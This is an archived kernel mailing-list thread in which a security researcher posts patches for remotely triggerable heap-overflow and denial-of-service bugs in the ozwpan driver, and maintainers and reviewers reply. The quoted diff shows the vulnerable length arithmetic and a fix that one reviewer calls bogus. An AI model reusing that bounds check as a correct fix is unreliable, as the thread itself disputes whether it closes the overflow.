> drivers/staging/ozwpan/ozusbif.h | 4 ++--
> drivers/staging/ozwpan/ozusbsvc1.c | 11 +++++++++--
> 3 files changed, 15 insertions(+), 8 deletions(-)
Any reason you didn't cc: the maintainer who could actually apply these
to the kernel tree?
Please use scripts/get_maintainer.pl to properly notify the correct
people.
thanks,
greg k-h
^ permalink raw reply [flat|nested] 10+ messages in thread
* Re: [oss-security] [PATCH 0/4] ozwpan: Four remote packet-of-death vulnerabilities
2015-05-13 18:43 ` [oss-security] [PATCH 0/4] ozwpan: Four remote packet-of-death vulnerabilities Greg KH
@ 2015-05-13 18:48 ` Jason A. Donenfeld
2015-05-13 18:53 ` Greg KH
0 siblings, 1 reply; 10+ messages in thread
From: Jason A. Donenfeld @ 2015-05-13 18:48 UTC (permalink / raw)
To: Greg KH; +Cc: oss-security, shigekatsu.tateno, linux-kernel, netdev
On Wed, May 13, 2015 at 8:43 PM, Greg KH <greg@kroah.com> wrote:
> Any reason you didn't cc: the maintainer who could actually apply these
> to the kernel tree?
I did, look at the email again: the first recipient is
<shigekatsu.tateno@atmel.com>.
>From the MAINTAINERS file:
STAGING - OZMO DEVICES USB OVER WIFI DRIVER
M: Shigekatsu Tateno <shigekatsu.tateno@atmel.com>
S: Maintained
F: drivers/staging/ozwpan/
^ permalink raw reply [flat|nested] 10+ messages in thread
* Re: [oss-security] [PATCH 0/4] ozwpan: Four remote packet-of-death vulnerabilities
2015-05-13 18:48 ` Jason A. Donenfeld
@ 2015-05-13 18:53 ` Greg KH
0 siblings, 0 replies; 10+ messages in thread
From: Greg KH @ 2015-05-13 18:53 UTC (permalink / raw)
To: Jason A. Donenfeld; +Cc: oss-security, shigekatsu.tateno, linux-kernel, netdev
On Wed, May 13, 2015 at 08:48:31PM +0200, Jason A. Donenfeld wrote:
> On Wed, May 13, 2015 at 8:43 PM, Greg KH <greg@kroah.com> wrote:
> > Any reason you didn't cc: the maintainer who could actually apply these
> > to the kernel tree?
>
> I did, look at the email again: the first recipient is
> <shigekatsu.tateno@atmel.com>.
>
> >From the MAINTAINERS file:
> STAGING - OZMO DEVICES USB OVER WIFI DRIVER
> M: Shigekatsu Tateno <shigekatsu.tateno@atmel.com>
> S: Maintained
> F: drivers/staging/ozwpan/
$ ./scripts/get_maintainer.pl --file drivers/staging/ozwpan/Makefile
Shigekatsu Tateno <shigekatsu.tateno@atmel.com> (maintainer:STAGING - OZMO DE...)
Greg Kroah-Hartman <gregkh@linuxfoundation.org> (supporter:STAGING SUBSYSTEM)
devel@driverdev.osuosl.org (open list:STAGING SUBSYSTEM)
linux-kernel@vger.kernel.org (open list)
You missed me, and the driverdev mailing list. netdev could care less
about this.
Please resend to get the proper people involved.
thanks,
greg k-h
^ permalink raw reply [flat|nested] 10+ messages in thread
* RE: [PATCH 1/4] ozwpan: Use proper check to prevent heap overflow
2015-05-13 18:33 ` [PATCH 1/4] ozwpan: Use proper check to prevent heap overflow Jason A. Donenfeld
@ 2015-05-15 15:02 ` David Laight
2015-05-16 10:20 ` Charles (Chas) Williams
0 siblings, 1 reply; 10+ messages in thread
From: David Laight @ 2015-05-15 15:02 UTC (permalink / raw)
To: 'Jason A. Donenfeld', shigekatsu.tateno@atmel.com,
linux-kernel@vger.kernel.org, netdev@vger.kernel.org,
oss-security@lists.openwall.com
From: Jason A. Donenfeld
> Sent: 13 May 2015 19:34
> Since elt->length is a u8, we can make this variable a u8. Then we can
> do proper bounds checking more easily. Without this, a potentially
> negative value is passed to the memcpy inside oz_hcd_get_desc_cnf,
> resulting in a remotely exploitable heap overflow with network
> supplied data.
...
> diff --git a/drivers/staging/ozwpan/ozusbsvc1.c b/drivers/staging/ozwpan/ozusbsvc1.c
> index d434d8c..cd6c63e 100644
> --- a/drivers/staging/ozwpan/ozusbsvc1.c
> +++ b/drivers/staging/ozwpan/ozusbsvc1.c
> @@ -390,8 +390,10 @@ void oz_usb_rx(struct oz_pd *pd, struct oz_elt *elt)
> case OZ_GET_DESC_RSP: {
> struct oz_get_desc_rsp *body =
> (struct oz_get_desc_rsp *)usb_hdr;
> - int data_len = elt->length -
> + u8 data_len = elt->length -
> sizeof(struct oz_get_desc_rsp) + 1;
> + if (data_len > elt->length)
> + break;
Why not just check the length. eg:
unsigned int data_len = elt->length;
if (data_len < sizeof(struct oz_get_desc_rsp) + 1)
break;
> u16 offs = le16_to_cpu(get_unaligned(&body->offset));
> u16 total_size =
> le16_to_cpu(get_unaligned(&body->total_size));
Don't put variable definitions after code.
You don't really want to do arithmetic on local variables that are
smaller than a machine word (eg u8 and u16), doing so can require
the compiler generate a lot more code.
David
^ permalink raw reply [flat|nested] 10+ messages in thread
* Re: [PATCH 1/4] ozwpan: Use proper check to prevent heap overflow
2015-05-15 15:02 ` David Laight
@ 2015-05-16 10:20 ` Charles (Chas) Williams
0 siblings, 0 replies; 10+ messages in thread
From: Charles (Chas) Williams @ 2015-05-16 10:20 UTC (permalink / raw)
To: David Laight
Cc: 'Jason A. Donenfeld', shigekatsu.tateno@atmel.com,
linux-kernel@vger.kernel.org, netdev@vger.kernel.org,
oss-security@lists.openwall.com
On Fri, 2015-05-15 at 15:02 +0000, David Laight wrote:
> From: Jason A. Donenfeld
> > Sent: 13 May 2015 19:34
> > Since elt->length is a u8, we can make this variable a u8. Then we can
> > do proper bounds checking more easily. Without this, a potentially
> > negative value is passed to the memcpy inside oz_hcd_get_desc_cnf,
> > resulting in a remotely exploitable heap overflow with network
> > supplied data.
> ...
> > diff --git a/drivers/staging/ozwpan/ozusbsvc1.c b/drivers/staging/ozwpan/ozusbsvc1.c
> > index d434d8c..cd6c63e 100644
> > --- a/drivers/staging/ozwpan/ozusbsvc1.c
> > +++ b/drivers/staging/ozwpan/ozusbsvc1.c
> > @@ -390,8 +390,10 @@ void oz_usb_rx(struct oz_pd *pd, struct oz_elt *elt)
> > case OZ_GET_DESC_RSP: {
> > struct oz_get_desc_rsp *body =
> > (struct oz_get_desc_rsp *)usb_hdr;
> > - int data_len = elt->length -
> > + u8 data_len = elt->length -
> > sizeof(struct oz_get_desc_rsp) + 1;
> > + if (data_len > elt->length)
> > + break;
This check already seems bogus? It's really:
if (sizeof(struct oz_get_desc_rsp) - 1 < 0)
^ permalink raw reply [flat|nested] 10+ messages in thread
end of thread, other threads:[~2015-05-16 10:20 UTC | newest]
Thread overview: 10+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2015-05-13 18:33 [PATCH 0/4] ozwpan: Four remote packet-of-death vulnerabilities Jason A. Donenfeld
2015-05-13 18:33 ` [PATCH 1/4] ozwpan: Use proper check to prevent heap overflow Jason A. Donenfeld
2015-05-15 15:02 ` David Laight
2015-05-16 10:20 ` Charles (Chas) Williams
2015-05-13 18:33 ` [PATCH 2/4] ozwpan: Use unsigned ints " Jason A. Donenfeld
2015-05-13 18:33 ` [PATCH 3/4] ozwpan: divide-by-zero leading to panic Jason A. Donenfeld
2015-05-13 18:33 ` [PATCH 4/4] ozwpan: unchecked signed subtraction leads to DoS Jason A. Donenfeld
2015-05-13 18:43 ` [oss-security] [PATCH 0/4] ozwpan: Four remote packet-of-death vulnerabilities Greg KH
2015-05-13 18:48 ` Jason A. Donenfeld
2015-05-13 18:53 ` Greg KH
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox;
as well as URLs for NNTP newsgroup(s).